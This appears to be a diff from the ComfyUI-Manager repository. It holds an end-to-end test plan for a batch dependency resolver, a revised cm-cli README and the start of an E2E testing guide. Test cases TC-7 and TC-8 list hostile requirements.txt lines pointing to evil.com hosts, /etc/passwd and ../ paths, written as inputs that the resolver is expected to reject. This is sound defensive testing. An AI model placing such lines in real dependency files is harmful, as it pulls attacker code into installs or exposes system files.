- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
---
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
**Steps**:
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
```bash
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
- Batch resolution runs once (not twice) after all installs complete
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
- Previously installed deps (from step 1) remain intact
---
## Test Fixture Setup
Each TC that requires node packs should use isolated, deterministic fixtures:
```bash
# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
```
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
---
## TC-1: Normal Batch Resolution [P0]
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
**Steps**:
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
2. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
---
## TC-2: Disabled State (Default) [P1]
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
**Steps**: Start ComfyUI
**Verify**: No `[UnifiedDepResolver]` log output at all
---
## TC-3: Fallback When uv Unavailable [P0]
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
**Steps**:
1. Create a venv **without** uv installed (`uv` package not in venv)
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
3. Start ComfyUI
```bash
# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
```
**Expected log**:
```
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Subsequent node pack installations use per-node pip install normally
---
## TC-4: Fallback on Compile Failure [P0]
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
**Steps**:
1. Node pack A `requirements.txt`: `numpy==1.24.0`
2. Node pack B `requirements.txt`: `numpy==1.26.0`
3. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
---
## TC-5: Fallback on Install Failure [P0]
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
**Steps**:
1. Create node pack with `requirements.txt`: `numpy<2`
2. Force install failure by making the venv's `site-packages` read-only:
```bash
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
3. Start ComfyUI
4. After test, restore permissions:
```bash
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
```
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install
---
## TC-6: install.py Execution Preserved [P0]
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
**Steps**:
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-installpy",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id-with-install-py>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
> Alternatively, use the Manager UI to install the same pack.
2. Check logs after installation
**Verify**:
- `Install: install script` is printed (install.py runs immediately during install)
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
---
## TC-7: Dangerous Pattern Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Include any of the following in a node pack's `requirements.txt`:
```
-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd
```
**Expected log**:
```
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
```
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
---
## TC-8: Path Separator Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
../evil/pkg
bad\pkg
./local_package
```
**Expected log**:
```
[UnifiedDepResolver] rejected path separator: '...' from <path>
```
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
---
## TC-9: --index-url / --extra-index-url Separation [P0]
**Precondition**: `use_unified_resolver = true`
Test all four inline forms:
| # | `requirements.txt` content | Expected package | Expected URL |
|---|---------------------------|-----------------|--------------|
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
**Verify**:
- Package spec is correctly extracted (or empty for standalone lines)
- URL is passed as `--extra-index-url` to `uv pip compile`
- Duplicate URLs across multiple node packs are deduplicated
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
---
## TC-10: Credential Redaction [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
private-pkg --index-url https://user:token123@pypi.private.com/simple
```
**Verify**:
- `user:token123` does NOT appear in logs
- Masked as `****@` in log output
---
## TC-11: Disabled Node Packs Excluded [P1]
**Precondition**: `use_unified_resolver = true`
**Steps**: Test both disabled styles:
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
3. Start ComfyUI
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
---
## TC-12: No Dependencies [P2]
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
**Steps**: Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] No dependencies to resolve
```
**Verify**: Compile/install steps are skipped; startup completes normally
---
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
**Steps**:
1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-defer-1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
> Alternatively, use the Manager UI to install a node pack.
3. Check logs after installation
**Verify**:
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- `Install: pip packages` does NOT appear
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
---
## TC-14: Both Unified Resolver Code Paths [P0]
Verify both code locations that guard per-node pip install behave correctly in unified mode:
| Path | Guard Variable | Trigger | Location |
|------|---------------|---------|----------|
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
**Steps**:
**Path 1 — Runtime API install (class method)**:
```bash
# While ComfyUI is running:
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-path1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
1. Create a test node pack with both `install.py` and `requirements.txt`:
```bash
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
```
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
```bash
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
>> "$SCRIPTS_DIR/install-scripts.txt"
```
3. Start ComfyUI (with `use_unified_resolver = true`)
**Verify**:
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
---
## TC-15: Behavior After Fallback in Same Process [P1]
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
**Steps**:
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
2. While still running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-postfallback",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
**Verify**:
- New node pack uses per-node pip install (not deferred)
- `Install: pip packages` appears normally
- On next restart with conflicts resolved, unified resolver retries if config still `true`
---
## TC-16: Generic Exception Fallback [P1]
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
**Steps**:
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
```bash
chmod a-r "$COMFY_ROOT/custom_nodes"
```
2. Start ComfyUI
3. After test, restore permissions:
```bash
chmod u+r "$COMFY_ROOT/custom_nodes"
```
**Expected log**:
```
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
---
## TC-17: Restart Dependency Detection [P0]
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
**Steps**:
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
2. Verify baseline deps only (Manager's own deps)
3. Stop ComfyUI
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
5. Restart ComfyUI (Boot 2)
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
7. Stop ComfyUI
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
9. Restart ComfyUI (Boot 3)
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
**Expected log (each boot)**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**:
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
- Both packs show as loaded in logs
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
---
## TC-18: Real Node Pack Integration [P0]
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
**Steps**:
1. Set up E2E environment
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
4. Boot-mode: start ComfyUI and verify via logs
**Expected behavior (direct mode)**:
```
--- Discovered node packs (3) --- # Manager, Impact, Inspire
ComfyUI-Impact-Pack
ComfyUI-Inspire-Pack
ComfyUI-Manager
--- Phase 1: Collect Requirements ---
Total requirements: ~24
Skipped: 1 # SAM2 git+https:// URL
Extra index URLs: set()
```
**Verify**:
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
- All other dependencies are collected and resolved
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
- No conflicting version errors during compile
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
---
## Validated Behaviors (from E2E Testing)
The following behaviors were confirmed during manual E2E testing:
### Resolver Pipeline
- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
### Security & Filtering
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
### Manager Integration
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
### Environment
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
---
## Summary
| TC | P | Scenario | Key Verification |
|----|---|----------|------------------|
| 1 | P0 | Normal batch resolution | compile → install pipeline |
| 2 | P1 | Disabled state | No impact on existing behavior |
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
| 7 | P0 | Dangerous pattern rejection | Security filtering |
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
| 9 | P0 | index-url separation | All 4 variants + dedup |
| 10 | P0 | Credential redaction | Log security |
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
| 12 | P2 | No dependencies | Empty pipeline |
| 13 | P1 | Runtime install defer | Defer until restart |
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
### Traceability
| Feature Requirement | Test Cases |
|---------------------|------------|
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
| FR-3: Index URL handling | TC-9 |
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
| FR-5: Batch install | TC-1, TC-5 |
| FR-6: install.py preserved | TC-6, TC-14 |
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
| Disabled node pack exclusion | TC-11 |
| Runtime defer behavior | TC-13, TC-14 |
| FR-8: Restart discovery | TC-17 |
| FR-9: Real-world compatibility | TC-17, TC-18 |
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
+59 -32
View File
@@ -7,40 +7,39 @@
-= ComfyUI-Manager CLI (V2.24) =-
python cm-cli.py [OPTIONS]
cm-cli [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
clear
```
## How To Use?
* You can execute it via `python cm-cli.py`.
* You can execute it via the `cm-cli` command.
* For example, if you want to update all custom nodes:
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
* `cm-cli update all`
## Prerequisite
* It must be run in the same Python environment as the one running ComfyUI.
* If using a venv, you must run it with the venv activated.
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
`.\python_embeded\python.exe -m cm_cli update all`
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
## Features
### 1. --channel, --mode
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
### 2. Viewing Management Information
@@ -49,7 +48,7 @@ OPTIONS:
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -66,7 +65,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -95,7 +94,7 @@ ComfyUI-Loopchain
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
(Plans are to update the use of nicknames in the future.)
@@ -112,11 +111,27 @@ ComfyUI-Loopchain
* `enable`: Enables the specified custom nodes.
* `fix`: Attempts to fix dependencies for the specified custom nodes.
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
* Requires `uv` to be installed.
* Prevents dependency conflicts between multiple node packs.
* On resolution failure, displays conflicting packages and which node packs requested them.
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. Snapshot Management
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* With `--output`, you can save a file in .yaml format to any specified path.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* If a file exists at the snapshot path, that snapshot is loaded.
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
* `--pip-non-url`: Restore for pip packages registered on PyPI.
@@ -125,23 +140,35 @@ ComfyUI-Loopchain
* `--user-directory`: Set the user directory.
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
### 5. CLI Only Mode
### 5. Dependency Restoration
You can set whether to use ComfyUI-Manager solely via CLI.
`cli-only-mode [enable|disable]`
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
### 6. Dependency Restoration
`restore-dependencies`
`restore-dependencies ?[--uv-compile]`
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
* It is useful when starting a new cloud instance, like colab, where dependencies need to be reinstalled and installation scripts re-executed.
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
### 7. Clear
### 6. Install from Dependency File
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
* Useful for environment recovery or initial setup without starting ComfyUI.
* Requires `uv` to be installed.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. Clear
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
+349
View File
@@ -0,0 +1,349 @@
# GUIDE_E2E_TEST — ComfyUI-Manager E2E Test Guide
> Auto-generated by pair-scaffold (test-guide mode). Domain: **api** (primary)
> with mixed **web** (Playwright UI) + **cli** (cm-cli subprocess) elements.
> Date: 2026-04-21.
This guide consolidates session-wide E2E knowledge accumulated through the
WI-A..WI-ZZ sweep. It is the entry point for writing, running, and auditing
end-to-end tests against the ComfyUI-Manager backend (glob + legacy) and
the legacy management UI. Companion registry of reusable test patterns:
`.claude/scaffold/e2e-methods.yml`.
---
## 1. Testing Strategy
Three test surfaces cover different contract layers. Pick the surface that
matches the contract you are validating — do not default to "everything".
| Surface | Location | Transport | Authoritative for |
|---------|----------|-----------|-------------------|
| **pytest E2E** | `tests/e2e/*.py` | Direct HTTP via `requests` against running aiohttp server | Endpoint contract (status, schema, side-effect, CSRF) |
| **Playwright UI (real)** | `tests/playwright/legacy-ui-*.spec.ts` | Browser click → real backend | UI↔backend wiring against actual server state |
| **Playwright UI (mock)** | `tests/playwright/legacy-ui-mock-*.spec.ts` | Browser click → `page.route()` intercept | UI→API request shape (URL / method / payload) without backend mutation |
| **CLI subprocess** | `tests/cli/test_uv_compile.py` | `subprocess.run()` against `cm-cli` | CLI command contract (args, exit code, stdout/stderr) |
**Layering rule**: when both pytest and Playwright can cover a behavior, use
pytest for backend contract and Playwright for UI wiring. Mock Playwright is
acceptable ONLY when real execution is infeasible (security gate, destructive
operation, long-running network) — flag it in the test name suffix
(`-mock` / `WI-WW-mock`) and document the honesty boundary (§6 below).
---
## 2. Test Categories
| Category | Description | Location | Tools |
|----------|-------------|----------|-------|
| pytest E2E direct | Endpoint contract via HTTP | `tests/e2e/` | `requests` + `pytest` |
| pytest E2E negative | CSRF / 400 / input validation | `tests/e2e/test_e2e_csrf*.py` | `requests` |
| Playwright real | UI click → real backend | `tests/playwright/legacy-ui-*.spec.ts` | `@playwright/test` |
| Playwright mock | UI click → `page.route` mocked response | `tests/playwright/legacy-ui-mock-*.spec.ts` | `@playwright/test` `page.route` |
| CLI subprocess | cm-cli end-to-end | `tests/cli/` | `pytest` + `subprocess.run` |
---
## 3. Critical Environment Requirements
**MUST read before writing any E2E test.** These are not optional; every one
cost at least one debugging cycle in the sweep.
### 3.1 Editable install requirement
After editing source under `comfyui_manager/`, re-run `uv pip install -e .`
inside the E2E venv. A running server uses whatever source the venv
registered at startup — stale source means stale behaviour. After commit
`99caef55` (CSRF state-changing-endpoint conversion), skipping this step
caused POST routes to return 405 because the test venv still had the
pre-conversion routing table.
### 3.2 Legacy vs glob mutex
`comfyui_manager/__init__.py:14-45` loads EITHER the glob manager OR the
legacy manager — never both. Use the fixture script that matches the
contract under test:
| Script | Manager | Extra flags |
|--------|---------|-------------|
| `tests/e2e/scripts/start_comfyui.sh` | glob | none |
| `tests/e2e/scripts/start_comfyui_legacy.sh` | legacy | `--enable-manager-legacy-ui` |
| `tests/e2e/scripts/start_comfyui_strict.sh` | glob | patches `config.ini` to `security_level = strong` (for negative-path `403` tests on `middle` / `middle+` gates) |
| `tests/e2e/scripts/start_comfyui_permissive.sh` | legacy + relaxed | patches `config.ini` to `security_level = normal-` and sets `ENABLE_LEGACY_UI=1` (for positive-path tests on `high+` gates: `comfyui_switch_version`, `install/git_url`, `install/pip`) |
Mixing them in the same suite is an error — pytest modules that exercise
legacy-only endpoints MUST live in `test_e2e_legacy_*.py` so the fixture can
select the legacy script.
### 3.3 Port namespace + PID files
All fixture scripts write `$LOG_DIR/comfyui.${PORT}.pid`. Default ports:
| Manager | Default PORT | PID file |
|---------|:---:|----------|
| glob | 8188 | `$LOG_DIR/comfyui.8188.pid` |
| legacy | 8199 | `$LOG_DIR/comfyui.8199.pid` |
| strict | 8188 | `$LOG_DIR/comfyui.8188.pid` |
Because the PID file is per-port, glob + legacy suites can run concurrently
if they pick distinct ports. Never hard-code `8188` / `8199` in your
assertions — read `PORT` from env.
### 3.4 Safety env var — manager_requirements skip
`start_comfyui.sh` exports `COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1`
(added in WI-WW/WI-YY). Any install/update code path that would otherwise
reinstall `manager_requirements.txt` sees this flag and skips. Real install
tests (e.g. `test_e2e_legacy_real_ops.py::TestInstallModelRealDownload`)
depend on this — without it the test server would re-pin its own
dependencies mid-test and fail randomly.
### 3.5 E2E_ROOT
`$E2E_ROOT` is the venv root + artifact directory produced by
`tests/e2e/scripts/setup_e2e_env.sh`. All fixture scripts source from it.
Export it once per shell session, or pass it per-command:
```bash
